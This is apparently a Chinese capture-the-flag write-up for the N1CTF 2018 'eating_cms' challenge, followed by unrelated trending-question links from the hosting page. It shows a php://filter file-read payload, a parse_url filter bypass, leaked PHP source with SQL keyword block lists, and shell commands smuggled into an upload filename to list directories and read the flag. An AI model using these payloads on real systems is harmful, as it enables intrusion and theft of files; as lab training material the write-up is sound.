[N1CTF 2018]eating_cms1
创始人
2024-06-01 19:25:09
0

一个cms,先打开环境

试了一下弱口令,无效,再试一下万能密码,告诉我有waf,先不想怎么绕过,直接开扫(信息收集)

访问register.php注册一个账号进行登录

上面的链接尝试用php读文件

http://575579bc-af3b-4fa5-b93d-9062dfb85a31.node4.buuoj.cn:81/user.php?page=php://filter/convert.base64-encode/resource=index

index.php

register.php

function.php

 $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

config.php

hacker.php

user.php

alert('no premission to visit info, only admin can, you are guest')");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

login.php

error_parameter.php

到此为止,把能读的源码全读了,开始代码分析

看到有parse_url函数,可能存在漏洞

利用该漏洞的payload

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

继续读取m4aaannngggeee(后续有用)

访问

http://xxxd1.no.buoj.cn:81/templates/upload.html

发现一个上传界面,随机上传一个文件,显示错误,看到upllloadddd,读它源码

upllloadddd.php(该界面访问报错,不是真正的上传界面)

";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

m4aaannngggeee(上面代码可以看出是上传界面)

http://xxx.nod4.bj.cn:81/user.php?page=m4aaannngggeee

然而这个上传界面没啥用,上传上去的代码被base64编码,无法解析

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."

可以看到这一行有一个system函数,我们可以对filename传参利用

打开bp抓包,对filename进行操作

payload为

;l's'

发现传回的值明显多于原图片内容base64后的结果

解码查看内容

发现此为命令执行后的结果,找寻flag,查看上级目录

payload

;cd ..;l's'

读取flag_233333

payload

;cd ..;cat flag_233333

找到flag值

flag{44794dcf-7ec4-4dd2-8f68-c6ad9219f0ef}

相关内容

热门资讯

与龙共舞的曲目列表 与龙共舞的曲目列表01 The Dragon´s Legend(Medley)02 Br...
孩子得了一种病毒,看他这样我也... 孩子得了一种病毒,看他这样我也很痛苦自从生下地第二天孩子就做院了,刚开始只是起了一片红的,还以是烫着...
带头盔的一个卡通人物叫什么? 带头盔的一个卡通人物叫什么?带头盔的一个卡通人物叫什么? 目前最新的……应该就是无头骑士异闻录了吧!...
小主播如何月入过万 小主播如何月入过万
地矿局野外工作艰苦吗 地矿局野外工作艰苦吗地矿局野外工作比较艰苦的,他们要扛着相关测量探测仪器,到野外探测矿藏,挖样块,做...
没离婚老婆不管孩子怎么办,老婆... 没离婚老婆不管孩子怎么办,老婆离家出走不管孩子我该咋办?可以诉讼。老婆离家出走不管孩子,可以向法院提...
阴历中的润月有的是润五月有的是... 阴历中的润月有的是润五月有的是润九月是怎么回事这润月是怎样算的呀还有这为什么有润月哟求解答三年一润,...
歌曲经典老歌 歌曲经典老歌歌曲经典老歌有:《斯卡薯郑罩布罗集市》、《AuldLangSyne》、《Yesterda...
怎样找到自己的梦想 怎样找到自己的梦想首先要给自己定一个小目标一点去奋斗,当在奋斗中就能获得自己的梦想梦想是什么?俗话都...
吉利星瑞的油耗怎么样? 吉利星瑞的油耗怎么样?吉利星瑞的油耗怎么样?估测实际油耗多少?不可能6.7L油,平均油耗最低要8个油...
佛山什么建筑最高? 佛山什么建筑最高?罗浮宫国际家居总部大厦最高。罗浮宫国际家居总部大厦位于佛山乐从,总高度为236.0...
怎么写未来一个月的活动计划? 怎么写未来一个月的活动计划?如果你是一个学校的学习部部长,为了提高学校的学习气氛的一些活动,你要怎样...
背起我的行囊走在那老路上。这首... 背起我的行囊走在那老路上。这首歌叫什么名字?这首歌曲叫:流浪兄弟
九十年代的一部武打电视剧有一个... 九十年代的一部武打电视剧有一个称为白衣人的出手就让对方眉心中剑的叫什么名字九十年代的一部武打电视剧有...
给我讲五个幽默笑话? 给我讲五个幽默笑话?幽默笑话幽默笑话幽默笑话幽默笑话幽默笑话
穷人与富人的差别只有一个字不是... 穷人与富人的差别只有一个字不是吗?同样的有钱没钱都是人!有钱没钱都是人,但不能随意、堕落啊
金色琴弦 12话具体内容 金色琴弦 12话具体内容那个因为时间不够来不及看完,只好来求助一下对柚木突然的暴变,香穗子无法隐藏内...
内心自卑敏感的人,适合学习心理... 内心自卑敏感的人,适合学习心理学吗是可以的,学习心理是自我成长的过程,不过要改善这个过程,还是通过系...
求和光之子类似的小说 求和光之子类似的小说主角要坚强,能拼,是魔法师,也有元素云云,不是现代太多了~~~~~主角要坚强,能...
男生对女生说想吃你是什么意思? 男生对女生说想吃你是什么意思?这是我男朋友对我这么说的,因为我是初恋,经验不足,想请教各位哥哥姐姐是...